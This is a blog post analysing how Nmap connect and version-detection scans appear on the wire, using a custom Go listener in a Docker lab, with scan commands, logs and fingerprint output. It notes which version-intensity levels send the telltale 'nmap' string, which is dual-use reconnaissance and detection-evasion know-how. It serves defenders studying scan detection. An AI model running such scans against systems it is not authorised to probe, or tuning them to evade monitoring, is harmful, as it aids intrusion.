Forem: Chris

Analyzing NMAP scans for fun (Part 1)

Chris — Tue, 01 Aug 2023 08:04:04 +0000

CAVEAT: This post is a few years old, its been sitting in my draft folder since 2021.

Introduction

In this post, I'm going to describe a tool that I created which can be used to analyse and react to TCP data sent by NMAP scan probes. The analysis of NMAP scan probes can be used to answer questions like "What does an NMAP scan look like on the TCP stack?" or "How can I identify NMAP scans on my network?". Also let me add that this is not "new" research, analysing NMAP and its probes has been done many times before. I'm a fan of reinventing the wheel for my own amusement which generally helps me understand things better and of course, it's been a while since I've seen any new NMAP deep-dives. Enjoy :)

The analysis of the NMAP probes can be used as a detection canary that can be used by blue-teamers to identify if an actor is running NMAP scans on their network infrastructure. Additionally, the analysis of NMAP probes can be used by red-teamers to understand how their tools behave and "look on the wire".

Okay that was a lot for an introduction so let's break the tool down and see what it does.

TCP Socket Handling

First and foremost, this tool is essentially a multi-threaded TCP socket server. This functionality is used by the tool so that NMAP scans can be directed at the tool and the operator of the tool can observe the behaviour of the TCP socket connections made by NMAP. NMAP makes use of threads so by making the tool able to handle multiple connections concurrently. This is super useful because you can process all the connection probes made by NMAP. Let's go ahead and run the tool and scan it with some NMAP defaults.

NOTE: I am running all of this in Docker and the tool is configured via Environmental variables.

In one Docker container, build and run the tool to listen on port 80 and set TERM=nmap. "TERM" is the search term(string) we tell the tool to look for in the TCP data received:

root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo && ./garbanzo 
2020/06/10 12:02:40 $GARBANZO_WEB must be set
2020/06/10 12:02:40 $GARBANZO_HOST must be set
2020/06/10 12:02:40 [+] Initialised Listener on Port: 80

And in another Docker container, we launch an NMAP scan against the server container which has the IP address 172.17.0.2. We are using the "-sT" flag because we are in a non-privileged container and do not have the required Linux Capabilities to create raw sockets [1].

root@f5f84eb31bc0:# nmap -sT 172.17.0.2
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-02 UTC
Nmap scan report for 172.17.0.2
Host is up (0.00014s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

and after the scan is done, we can see that NMAP detected port 80 to be open, which is correct.

Our server output will look like this:

root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo && ./garbanzo 
2020/01/01 12:12:12 $GARBANZO_WEB must be set
2020/01/01 12:12:12 $GARBANZO_HOST must be set
2020/01/01 12:12:12 [+] Initialised Listener on Port: 80
2020/01/01 12:12:12 [+] [d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb] Port:80 Connection:1 from:172.17.0.3:49106
2020/01/01 12:12:12 [ERROR] [d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb] read tcp4 172.17.0.2:80->172.17.0.3:49106: read: connection reset by peer

The output above from the tool indicates that a single TCP connections was made to port 80 and error occurred when the server attempted to read data from the stream. The error is expected because NMAP by default will reset the connect if it can make a connection. This is all the info NMAP needs to determine if a port is open, if it can successfully open a connection, then it must be open. In the output above, there is a SHA256 hash "d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb" which is a unique identifier for the connection. This is useful for when there are multiple connections. The tool uses this hash with all activities associated to a connection. We'll see more of this in the section.

NMAP Service and Version Detection

Let's now use the "-sV" flag with our NMAP command as we want NMAP to try and extract "metadata" or the service and version of the open ports. This is useful from an attackers perspective because we want to gather as much information as possible on our target. We can try this by running the following command from our NMAP container:

root@f5f84eb31bc0:/go# nmap -sT -sV 172.17.0.2 -p 80    
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-02  UTC
Nmap scan report for 172.17.0.2
Host is up (0.00014s latency).

And below is the corresponding output generated by the tool:

[+] Initialised Listener on Port: 80
[+] [2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] Port:80 Connection:1 from:172.17.0.3:51198
[ERROR] [2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] read tcp4 172.17.0.2:80->172.17.0.3:51198: read: connection reset by peer
[+] [8297b9be5c9314c96c57af36e56dd5b14cf32884a16227906199ca8ddf8ee431] Port:80 Connection:2 from:172.17.0.3:51200
[+] [02210c50dac4565cb66cb1623623b9e4efe9d5638e666160e25769458679ee6d] Port:80 Connection:3 from:172.17.0.3:51202
[+] [14746282e65da35beba19df6fa78bde2419b8a16e072a1a95ad8bc807f5f9716] Port:80 Connection:4 from:172.17.0.3:51204
[+] [74264732650f84c3084ed23f15be3aa6290e3faf1289ce276bd20b0c3a168cf5] Port:80 Connection:5 from:172.17.0.3:51206
[+] [2cb82e31bbb4b06ad2c3ccb234e07a8aec8c5c75e046af3096740260842e4bac] Port:80 Connection:6 from:172.17.0.3:51208
[+] [51be251174fd9ee7424ba7a27bf512c2f2097f285dd46ca212240ae4209587d9] Port:80 Connection:7 from:172.17.0.3:51210
[+] [9e5be1a5dce881f7ba3ef51d5a66b2f17f2fb7014b0324d14ff8e273248a044c] Port:80 Connection:8 from:172.17.0.3:51212
[+] [31f2d6fb2c6b769be4948a987deb4a62d2f67392c86d6faa7d1e4bd02c174254] Port:80 Connection:9 from:172.17.0.3:51214
[+] [6dd8b57b9bd35fea1490b872c6c729d9bc882e3af29f1b24993749921eb5e0fd] Port:80 Connection:10 from:172.17.0.3:51216
[+] [d1fc77dbec734b6958203c3102bf98c2562539e9825216e200b3bdce0211e3f2] Port:80 Connection:11 from:172.17.0.3:51218
[+] [635da8a96fe12207e71977854eb49e95fa315a3ec712da9e79bda4aa03338273] Port:80 Connection:12 from:172.17.0.3:51220
[+] [ed6270327f3ef77886ea3e4cb6c07866d0750154f38ad1f21f2ffce7ddef70b7] Port:80 Connection:13 from:172.17.0.3:51222
[+] [4099a9996900ca19503a60b0434ce295ebb7400ad7f84002f16be2a47dacbb68] Port:80 Connection:14 from:172.17.0.3:51224
[+] [1dab93852e0749e263bb9c5deca00fed53fe8a5001b719d116016ed7d1d43e81] Port:80 Connection:15 from:172.17.0.3:51226
[+] [f2354e58c621369521f4de50a0b7d430b3bc79f395ea237ac5ca2f979e638353] Port:80 Connection:16 from:172.17.0.3:51228
[+] [f442e24b6110226e818d96c399b8cb56c8936381df4126ba80101f4c8ac6a1cd] Port:80 Connection:17 from:172.17.0.3:51230
[+] [0bd2ae1db2c1c1544af266eeba31f7ed6ee24ad7582f24a6c9a50735dd9747e2] Port:80 Connection:18 from:172.17.0.3:51232
[+] [628883d43eec1ce919a06b7dc39ed8962918f14342d2f389fda82e3bac6e1888] Port:80 Connection:19 from:172.17.0.3:51234
[+] [18d9fb07f6254ff16a27159a0c8f4d6d4d729de94a0f1361a10347c6265729fd] Port:80 Connection:20 from:172.17.0.3:51236
[+] [5f5660a93b7802af41fc135f0bb1e4cd4cec0f19d9875ba194aeb3518423ff9c] Port:80 Connection:21 from:172.17.0.3:51238
[+] [0f2d4808a0826f65efcb2491efe957835a5b18853dae03cc5e8d1957919b6cf8] Port:80 Connection:22 from:172.17.0.3:51240
[+] [39c77dc5d34efd2871b8315a5e0778e31ff4a124a4bcd91345047ce666375f43] Port:80 Connection:23 from:172.17.0.3:51242
[+] [b041e718af47ea6c851c9a5cbaf50290a47099c327b3ffcbfaedffc970ff73d5] Port:80 Connection:24 from:172.17.0.3:51244
[+] [346cbcbc95c1ae7f2fc82acb85d6e8a51ab44a7c894929843d8740ba6feebc2a] Port:80 Connection:25 from:172.17.0.3:51246
[+] [6128ee2cbdb3618ed21e147e8874fc7a534e0f1da4c8286de7d0012646cadebb] Port:80 Connection:26 from:172.17.0.3:51248
[+] [098a8bee69382aabb4acd7130e7c66791666e5fa189902ef17f1cd44cf223b1b] Port:80 Connection:27 from:172.17.0.3:51250
[+] [eeb53a2542d3ea71f725353cf8b1d064ab11e8667eb29e023124b6103aa097ae] Port:80 Connection:28 from:172.17.0.3:51252
[+] [875091a5aabf395a62db73a49c0f844d6f4cde28cdc0bf27b0346f6de4be299b] Port:80 Connection:29 from:172.17.0.3:51254
[+] [effa187e4a8757b2356bc23fdac4c28b2fc9b3dd6983538d3b9c3fd7c30bb764] Port:80 Connection:30 from:172.17.0.3:51256
[+] [0600560cc19cdf6185663d128ebaee3550cdf4a17ceb5a89c68500d9593a6d46] Port:80 Connection:31 from:172.17.0.3:51258
[+] [2e3fe6ada0d67914119272dcf6f9b7367b841b2773c8999a341b09120cd6cfd9] Port:80 Connection:32 from:172.17.0.3:51260
[+] [8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] Port:80 Connection:33 from:172.17.0.3:51262
[+] [8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] nmap Probe:1 from connection: 33 :[GET /nmaplowercheck1591880218 HTTP/1.1
][474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
[+] [d30f053fbd9b19ddf4ceb2fc4a43f900584ad7f58130ebb7c16f634701ab00ef] Port:80 Connection:34 from:172.17.0.3:51264
[+] [b4ac67dec3cc4c117e69057b5edc7e71350c0d2ccba6c8369159a589ccaf1285] Port:80 Connection:35 from:172.17.0.3:51266
[+] [b4ac67dec3cc4c117e69057b5edc7e71350c0d2ccba6c8369159a589ccaf1285] nmap Probe:2 from connection: 35 :[GET /nmaplowercheck1591880218 HTTP/1.1
][474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
[+] [5db9eee927b2f08180debcbc69e626fd31cbbd2b78d038fc9077e47c5eeb556e] Port:80 Connection:36 from:172.17.0.3:51268
[+] [cf407790610951aa8966c88322aa0a3e7d46f4ace9cc89e8427acdf5bfbcdf0d] Port:80 Connection:37 from:172.17.0.3:784

Woah okay that's a lot of output, lets break it down and see what it says. Firstly, we can see that NMAP made a total of 37 connections to the tool

...Port:80 Connection:37...

. We can also see that the tool identified probes that contained our search "term" which we set to "nmap". Remember, this term basically tells the tool to search for that character sequence (case insensitive btw) in any data sent from the client (NMAP). Here's the first probe that the tool detected:

...
[+] [8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] Port:80 Connection:33 from:172.17.0.3:51262
[+] [8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] nmap Probe:1 from connection: 33 :[GET /nmaplowercheck1591880218 HTTP/1.1][474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
[+] [d30f053fbd9b19ddf4ceb2fc4a43f900584ad7f58130ebb7c16f634701ab00ef] Port:80 Connection:34 from:172.17.0.3:51264
...

From the output above, we can see that it was connection 33 that sent the request that contained an HTTP request that contained the term "nmap". Okay that's interesting, we now know that behaves differently with the -sV flag in terms of the amount of TCP connections made and the data sent from NMAP. We can also see that NMAP continues the behaviour of "connecting" and "resetting" the connection first to determine if the port is opened, this can be seen with the following output specifically:

[+] Initialised Listener on Port: 80
[+] [2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] Port:80 Connection:1 from:172.17.0.3:51198
[ERROR] [2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] read tcp4 172.17.0.2:80->172.17.0.3:51198: read: connection reset by peer
[+] [8297b9be5c9314c96c57af36e56dd5b14cf32884a16227906199ca8ddf8ee431] Port:80 Connection:2 from:172.17.0.3:51200

Below is the NMAP out from the scan we just analysed:

nmap -sT -sV 172.17.0.2 -p 80
Starting Nmap 7.70 ( https://nmap.org ) at 2020 UTC
Nmap scan report for 172.17.0.2
Host is up (0.000099s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.70%I=7%D=6/11%Time=5EE229CA%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1F,"{\xe2\xc9NKo3\x07\xc7Bs\xa3\tI\x07\x90Y\x8d\)\x94h\x7f\xaaD\
SF:xbc\xcd\x11\xb2\x85\xd0\xff")%r(HTTPOptions,85,"\(\x1f\xce\xbe\xfa\xf5\
SF:xa4\xfa!y\x1e\xd4;2\^\xd9;Y\x99\xa6\x1eAO\"\x10&W\xf1VUj\xd3{8\xe2h`\x9
SF:9\0s\x01s5oC_\x1fu\xcd\xb9\xc4\*wS&'\x9d\xe3A<\xf5\xba\xa9\xe4\x9fQ\xdb
SF:\xf7\(P\x95\xc8NL\xdf@9\xc0\x04g\x1a\xad\xbd\xefh=\x89\x18'v\xfc\xa0t\x
SF:02\xce\xb1\xf8\x1d\x18\xcb\x98I\x85\xe0O\xa4B\xa7\|\x11\xad\xec\xc9\xf1
SF:\x93\xceu\x80\x8c\x17p\xed\xfelf\xb0\x1f\x8bM\xf4\x8fw\xff")%r(RTSPRequ
SF:est,26,"\xdc\xa5\x8ar\xe7\x97\)\x9f\xcc\x07\xe2h\xc6hG0\x12\xcc\xaa\xb6
SF:\x9dj\x008\xa7\x8d\xfd\t\xcf\xe9U\xc3\x9e`\x96l\x93\xff")%r(FourOhFourR
SF:equest,15F,"\x80V\xf84\x99V1g\xd3,\xcf\x12\x01\xdd\xe2\x12\x86\x17\rL\x
SF:af\x02\xa3\xe10\xfes\xcd7K\xd1\xb6\xb2\xe8\x92\x9a\xcc\|CHB\x99\xac\xb6
SF:Y%_\x0e\x18\xc7\xf1\x8b\x91\x0bz\xaf\xbb\^\xb5\x99\xec\x03\x8e\xd7\xedy
SF:Z\x89\xf2t\xc5ab\x0b\xbb\x05\xfa\x0b>\xfeY\x9c\x10Cg\xca\x12\xde\xa1\x8
SF:4X\x0f\"B}\)\?\+\"%\x9b\xdb\|\xd2gzp\x1c\\\xfe\x13\xddQ\+5\xf4\x7fR\xd2
SF:6Q\x7f!5\xb5\x07\xe3\xad\xb9\x81y\xd2\xcc\[\xc6Lu\xfd\xc7o\xacO\xe2L\xb
SF:a\x08M\xf8m\x89x\x99\xcd&\xe3\xdf\xe3\xedW_\xe5\xc7\xfa'rT\xb1QXr\xb8R\
SF:xc1\xeb\x99\xd4\xc8\xd31\x83\?\x13\xd8\x92\x81\x7fBz\x1f\x92\xd6\x15\x1
SF:2I\xa8\xb9\x9e\xebR\xc8\xb5\xb3\xa1\x9b\xf1\xad\x1a\xa6\x1fb\0\xb3a8R\x
SF:ab\t\xa4\xbc\xa7C5\xac\0\x8d\x8b\xd8\xc0\xb5\xbdG\xeb\xe8BgG\\\x05/\x0b
SF:j\xb5\x99E\x81\n\]\xc5\xf80\xa0\]\x9e\xfc\xf6\x066&\x08\xad\xa0d\x10\x8
SF:3\xa6\xc0\(=,oO\xbf\x20\xac/4\xf52\xa2\)\xcbT\xa8\xc8\xe8\xd0\xe5\xaf\x
SF:90\xa1j\x84\xe3\xb3\xbf\xa1\x19\t\xb3P\xa7\^\x90\xdfz\$c\xd1\",\xe0\xf7
SF:\xbe\x99\xf6\x18\xba\xa7\xc7\x87\xdd\xf4\xcdw\xcc\xc7R\x8a\xb9\xb4\*\r\
SF:xbe:\xc2o;1\x0f8\x94E\rmY\ts\xc7\xad\x9e\xff")%r(GenericLines,20,"5\xd7
SF:\x9c>\xf9\nep\*\xd3\x1c\xf5\x8f\xb3\xa6\xeb\xa1\xaa\xef\xd5\xa14I\x9f\x
SF:d3\x8am>B\xe9\x84\xff")%r(Help,171,"\[2\xf3MhR&\xfe&%<\^\x11\xa5vJ#\x8d
SF:&\xb0\xbbV\x85\xbc\xdfW\xbbu\x130\x16\x92\xb5\xa99\xe0\x03\x85\xdbs\"\x
SF:dd\xca\x0c\x10\xd3\xe0\x8e\xe4\x971\xf1\x90\xb6\xaeH\xcb\xf0\xd237\+\x1
SF:2\xde~\xca&\xa93\t\x9b\xb2\xa9\]wH\x9c\x07:\x99\x88oW\xbe\xa6\xb9P\x92O
SF:`\x93-\xfc\x14\x19\x02\x18x\xd9I\x1d\xfb\xbbp\xd5d\x0e4\xc86\xab\xd1\x0
SF:e\x8b&\xd1\xfa\xbaX\xc1\x91\x20\xcb\x0f8\xc4Q\x89\xf2!\xe8V\|wj\xeb\xc3
SF:zk#`\x01A{\?\xd7\x89\x15\x07\x8d\xb2o\xeb\(\x13G\xb7#\x95\x15~\xa9\x9d\
SF:x8d\xcf\]\xbc\xbbg\x1c\xeeC\xc1\x11Y\x01\xef\xc9\xb7\xa0>:`\xd9\0\x85\x
SF:c5Zv\xc8Qa`\xc7\x93\x0f\xd7\x0b\\\xe7\x14rD\x87\x92{~\xbc\xfd\xa5\x06Z\
SF:xe1\xc4wi\xf7\xe3:\x9ep\xb8\xea\x05>\xc6p\[\x7f,\xa1\x8e\xd1\xed\xf5\xa
SF:6x\xa80\xa6\x058U\xc8\x8f\xbd{\xc3\x9dk\x04\xc61\xdb>r\\\x80\xe8K\xa6l\
SF:x9a}\xd2F\x1a\xde\xfaZ\xaa\x91\|\x1b\x1b\x8d!\xfe\x125\0\]\xb2\xde\x88G
SF:\xd1\xe9\x0f\xbf\"\xc1\"a\x02\xeb\xd4V\(L:\xe8\x87\xcb\x9f\xbf\xfb\xfc\
SF:xc6c\xe4Nz\x0eb\x94\xd5\x8b\x12\x9d\x10\xf9\x94k9@y\x82\x8a\x02\xbe\x03
SF:\xf5hs@q\xd9n\xf8\xb3\xb0\x15~\xb3\xb7\x0b\xa5\xdfGU@\xdeJ\x80\x94p\xe2
SF:\x08\xd7\xe6!\xf8\xcd\xdf\xc0s\xe4\xff");
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.86 seconds

The above output shows us that NMAP was able to detect that port 80 was indeed open but could not verify the service and version, which makes sense and we'll dig into why a bit later in this post.

NMAP Service and Version Detection and Scan Intensity

NMAP has useful functionality to adjust how "intensely" it scans the target according to its documentation[2]. If we look at the flag "--version-intensity" which we haven't used directly yet, we can see in the docs[2] that the flag "-sV" sets "--version-intensity" to 7 by default. Lets now go ahead and change ""--version-intensity" and observe how NMAP behaves:

First setup our tool

root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo && ./garbanzo 
2020/06/10 12:02:40 $GARBANZO_WEB must be set
2020/06/10 12:02:40 $GARBANZO_HOST must be set
2020/06/10 12:02:40 [+] Initialised Listener on Port: 80

Execute NMAP:

root@f5f84eb31bc0:/go# nmap -sT -sV 172.17.0.2 -p 80 --version-intensity 1

Below we get the following tool output from the NMAP command above:

[+] [e76bfa77f3047f2162bf0ca697d24cd38be99ecf96960ca5f324c33801babcd3] Port:80 Connection:1 from:172.17.0.3:51270
[ERROR] [e76bfa77f3047f2162bf0ca697d24cd38be99ecf96960ca5f324c33801babcd3] read tcp4 172.17.0.2:80->172.17.0.3:51270: read: connection reset by peer
[+] [ca32700fb09ad58490ab340fd19d5bfd17a77f5a4b39357341e93ec0ee868721] Port:80 Connection:2 from:172.17.0.3:51272
[+] [6b991cc7ea35a78d63af16555c5b404b78a74c62eede3acaed6f5cda6a650e66] Port:80 Connection:3 from:172.17.0.3:51274
[+] [343b98c09fefc41ecb2e0eb48c918ed8f5b1d0af02dc05b781abb5a4d57e7e7a] Port:80 Connection:4 from:172.17.0.3:51276
[+] [61c11e4bfa44083c4ac764fbbe1546e4a70d38434b4d39fd287cbc26bd1631dd] Port:80 Connection:5 from:172.17.0.3:51278
[+] [0958fca1885269f9797a039aedcbccc67d5153f71f5396ffee23dc707d714a8c] Port:80 Connection:6 from:172.17.0.3:51280
[+] [322a686505032b68a7903a68b98ec502f87710d7ed60cd71bc5d6708fe214af0] Port:80 Connection:7 from:172.17.0.3:51282
[+] [610f9f80d0b616267fb567fbe5b437653fd3d3ac3d524ca92baac642d599e102] Port:80 Connection:8 from:172.17.0.3:51284
[+] [12f40d18ad44fee3eef5371c571883efcac00b7576dcee35ebb8fd12af37571f] Port:80 Connection:9 from:172.17.0.3:51286

The above output from the tool shows us that NMAP continues the behaviour of checking if port 80 is open by connecting and resetting. We can also see that 9 connections were made but no "nmap" terms were identified. If we run the NMAP command several times with "--version-intensity" set to "1", we will see the above pattern repeated, first a connection and reset which is then followed by 8 probes.

Below is the associate NMAP output:

root@f5f84eb31bc0:/go# nmap -sT -sV 172.17.0.2 -p 80 --version-intensity 1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-002-02 UTC
Nmap scan report for 172.17.0.2
Host is up (0.000083s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.70%I=1%D=6/11%Time=5EE23E9F%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,270,"\xb5rHF\xbc\xe9\xde\xf9\xbc\xf6\x15Y\x8e\xb9\x1f\x9a\0\xe64
SF:xrB\xb4\x9a\xcd#S:W\x01\|K\x8e\x1ft\x95\x90\n\xaf\xaf\x004k\xf9\xc1\x99
SF:\xf7\x88s\xef\x8e\x13\x03\xf1Gp-\x99\xe4\xd6\xf2e\x94\xb2Z\r\x94C\x07EY
SF:\?>\\8D\xear\xa0y\xae\xf3\x86\xda\xab<\xe2\xc6C\xa9\xf1IMw\x0b-\xb6\xce
SF:\x0b\x9b\xe6\x15S\xdd\xe2\$\.\x9e\xe4\x8f\x965\xf1\x11\xee`\xe2\x04\x95
SF:\x1b\xc0\xe5-\xceM\xe9\x97\xbcd\xea\xc2\xed\n\x03\tU\x97\x01\xbe\xaf\x0
SF:2\xce-SH\xfaZ\xdeV\xc7#\xd9W\xf0X~1-Es\xb4\xf6\xe2\xcf\x07\xa5\*m\xe5i\
SF:^\x88\x03d\xf7\xe1\x05\x12\x90\rN\x84\x17\xed\]\x1a\xf0n\xbc\xeb\xe9\xd
SF:bTp\xe5#K\xd8\|\x8c\xd2\x18}\xe9\xda\xbczz\x07\x9b\x81\xa1\xbb\x9c\xe1\
SF:x19x\x0f\x9a8\x94\x012\xf0\x9bm\xe3\x97\xf3\xe0\r\xabbK\xa6\x82\x13\x7f
SF:\xbc\xdc\x19\x1f\x93\x20\x0e\xb0\xc8\x85\xbfK\xb1\xf1\xdb\x18G\n\xf5\x1
SF:d-\xb7\xca\x9c\xbb,\x0b\x8c\xb6\xf7\x125\x17\x81A\"\xb9j\n\xbb8\xb6Y\x9
SF:e\x98\xce\x1f\x1c\xda\x91\xe4\xfcb\x88\x94\xb2\xdd\x20\x1e1\x95\xdcH\x1
SF:5\*\x9c\x9b\xac\x19\xb9A\x8at@j%\)\xe0\.p\x1bI\x1bi\xbdu\x0c\xed5\x10\x
SF:d7\npfJ\xbe\x8c\xf1\.\xd6l\x13\xd1p\x01\xb6<z\xc7\xe5\xaa\xf6=0\x8f\xc1
SF:\xc8\"\x90\xbf\xe9\xc7\x99\x8d\xeaz\xe8\x17\)\xdb{\x84\xe0C\xe34\)\xcc\
SF:x20U\x0c\xd2Cj\xf9\xfec}\xa0\xc5\x03C@\x9aG5\xf8\xee\x9c\t\xfc\xb4\x7f\
SF:x10\xb4\xb8\xee\xca-\xa0\xbc\[\xc7\xf7\xbf\xad\x89\xd7\x93\xb0\xd8\xc3\
SF:?\xb4:\xf7},\xd6\x11\x12\xc1\x8f\(tHH{@\xcb\xfa0_\xf3\xe0\x95S\xcct\xbd
SF:\^\t\xd3T\xa9t\xcd\xb2\.\x15\x96\x12\xfaFe\xac\xcb\x14\x9e\xcaO\xb2W\xe
SF:f\xf3\xd4O\)\xe2\xe7\xd6\xbbx\xa1\xc2\x087#\xb5\xb2;\x0f\xcdL\xe3`\xf4x
SF:H!\xb7\xd0M\xad\xd2\x1c\r\xf2\xb9\xc9h;ge\x0f\ny\xbe\xf7\x13X,X\xdf\xf9
SF:x\x10\x15\[\x93D\xe3\x86\xf4Z\x8d7EiZt\x91\x16\xa9K\x1e!\xab\x8d\xb9\x0
SF:1\x95\x81\xde\rU\xd0!\x93B\xb1;\x8f\x19G\xeb\x9eDY\x03\x81\xd0\xc0W\xda
SF:H\xd9\xdb0\x9f\xa3\xfd\xfdS\xbap\x88\xe2\xed\xaa\x20\xecZ\xb3\xfc\xbd\x
SF:d6\xf6\n\x86OyQ\x1a\xe6\x8b\x02\x9c\xd5\xbf\xc6\xbaCU\x0f\^\x1c\xe2\xfd
SF:\x8b\xa9\x86\x07\xba\xe9\xff")%r(HTTPOptions,150,"\$\x08\x0e\x80\xa4\xf
SF:1\xbeS\x85\^~\x7f\x0f:\x8d\x1f\[\xc2\xdd9\xe5\x97\xc6<\0\x89\xb4-\xda\x
SF:a9\xdeI\\\x8f>\xee\|\xab\xf9\xe7\xe7\xf2\xc6\xeb\x97\xbb\xb8\x99\x8f,\)
SF:\xa4K\xdc\xa3k\xb0\x20`\[\x19\xef\xbf\xb3#\xbc\xf0\x06\x05\x20\xc6\xadK
SF:\x88\xeb\x0c\xf8\xdd\xab\xadM\x99\xb4\xd7d\xe0\xde\xaa\x02\x17\xb1h\(~\
SF:xe8\xf7\xd7\?\x13b\xdb\xb9\x17\xa5\]\r\xa70\xb5\x12\xe6\rpI2\x01\xa1sk\
SF:xf1\xf5=\x99\x06\x8e,\+\xa1\x8e\"/f\xaf\xd6\xb5\x06\xef\xf6\x204e\xb4\x
SF:c5\x83\xc3\xec\t\x9a\x8c\x87\x92U\^\x1eO\xdb\[I\x8d@\xb3\xc8p\xdb\xae\x
SF:94\x98\xae\x06\xb5M\x8ey0\x80\xf5\xe0\xde>\xd4<6\x08Q\x12t\x9a\xa2\xe4W
SF:p\xb2\x19%\xea\xa2\xf0N:7\x83\x117\xa6\x11\xd2w=\xfbA\xef\x1d\xa6\xe7t5
SF:byL\\\xd6Y5%\xc4\xee\xdc\xa2\xb3X\x17\xa3\xe9\xc6:=l\x91\x98\xcb\x9e\xb
SF:4\xed\x9b\xa5\xe8\xa4\xe0\x0b\xdb\xdeV\xa0\x8d\xfb\xf9\)\xbd\xac{\xd2\+
SF:\xb1\x075s\xdc_\x0e\xc5\xe3ZJ\xc1Z\xc7\xe8\xa2>}\xbe\"\xac\xab\x04\xcc\
SF:xac\xab\x92F\x99w\xfb\xc7t\xcc\xedHp\xee\xa3\x9a-\xa7\xd4\x1c\xba\x87d\
SF:xb9\x83R\xbb\x04\x84m{CS\x8b\xa0\"w\xb7\xd3\+g\x18\x20\x93x\x93\xeaOs\x
SF:ff");
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds

From the output above, we can see that NMAP was able to determine that port 80 was open but could not verify the service and version.

If we take a look at what we have determined at this point, we now know that the -sV defaults will send probes that contain the string "nmap" and "--version-intensity" set to 1 will result in no probes containing the string "nmap". So this leads to a natural question, at which intensity level does the string "nmap" get sent with the NMAP probes? Well easy-peasy-lemon-squeezy, lets use our tool to help us. Lets setup our server again with:

root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo && ./garbanzo 
2020/06/10 12:02:40 $GARBANZO_WEB must be set
2020/06/10 12:02:40 $GARBANZO_HOST must be set
2020/06/10 12:02:40 [+] Initialised Listener on Port: 80

and run NMAP with "--version-intensity" set to 2.

root@f5f84eb31bc0:/go# nmap -sT -sV 172.17.0.2 -p 80 --version-intensity 2

which results in the following tool output:

[+] Initialised Listener on Port: 80
[+] [cb2cfd7735d96677652e77940170a0a4c695b4145fa93f7c885628df551671d7] Port:80 Connection:1 from:172.17.0.3:51288
[ERROR] [cb2cfd7735d96677652e77940170a0a4c695b4145fa93f7c885628df551671d7] read tcp4 172.17.0.2:80->172.17.0.3:51288: read: connection reset by peer
[+] [50982846ac83afffab217e22573baae530ad966028d29b4c0f1d77c71c8dce16] Port:80 Connection:2 from:172.17.0.3:51290
[+] [6d95e9d08c551bda3d97565334aa089396600c62b9b4fae5847156ef596a6d5e] Port:80 Connection:3 from:172.17.0.3:51292
[+] [71fbba3e7c6949cfed8bb15ab2708a34cc20cbe5d4d5c60ca6d139ef0a3e3a4b] Port:80 Connection:4 from:172.17.0.3:51294
[+] [c774af05a3d1e12d779d86d8a23eb6daac54a3ebed1d4af18d68378ad47bc6af] Port:80 Connection:5 from:172.17.0.3:51296
[+] [dcd29b657bd7399ada9d76144cef8fc56615d356dcee1e448ea9dd675c8d5af3] Port:80 Connection:6 from:172.17.0.3:51298
[+] [be510f1d5fdb54ee007f0bf7613e9df76a8d9e17cb106a999f6c78c5865e7967] Port:80 Connection:7 from:172.17.0.3:51300
[+] [9ffc5a4a8c704547d2f7d9d995d8c55d4ad807d01124642fff9500bb7615c091] Port:80 Connection:8 from:172.17.0.3:51302
[+] [460ec7db181855235ef0f78e2f99f0779af42fcf083ccd42e23e05dd6b2d8d2a] Port:80 Connection:9 from:172.17.0.3:51304

Okay so intensity level 2 has no "nmap" term in the probes. If we repeat this process(left to the reader to do) and increase the intensity +1, we'll determine that level 7 is the level where NMAP sends the term "nmap" in its probes. Another interesting observation is that the number of connections made by NMAP also increases with the intensity level. For example, the follow NMAP command:

bash nmap -sT -sV 172.17.0.2 -p 80 --version-intensity 6

results in 24 connections made by NMAP. I'll leave it to you, the reader to verify this statement :)

References

1.https://nmap.org/book/scan-methods-connect-scan.html
2.https://nmap.org/book/man-version-detection.html

Modifying Go's Crypto/ssh library for CVE-2020-9283

Chris — Mon, 08 Jun 2020 13:11:44 +0000

Recently CVE-2020-9283 was patched by the Go maintainers with this commit. This vulnerability exploits an issue in how the SSH library parses ssh-ed25519 or sk-ssh-ed25519@openssh.com
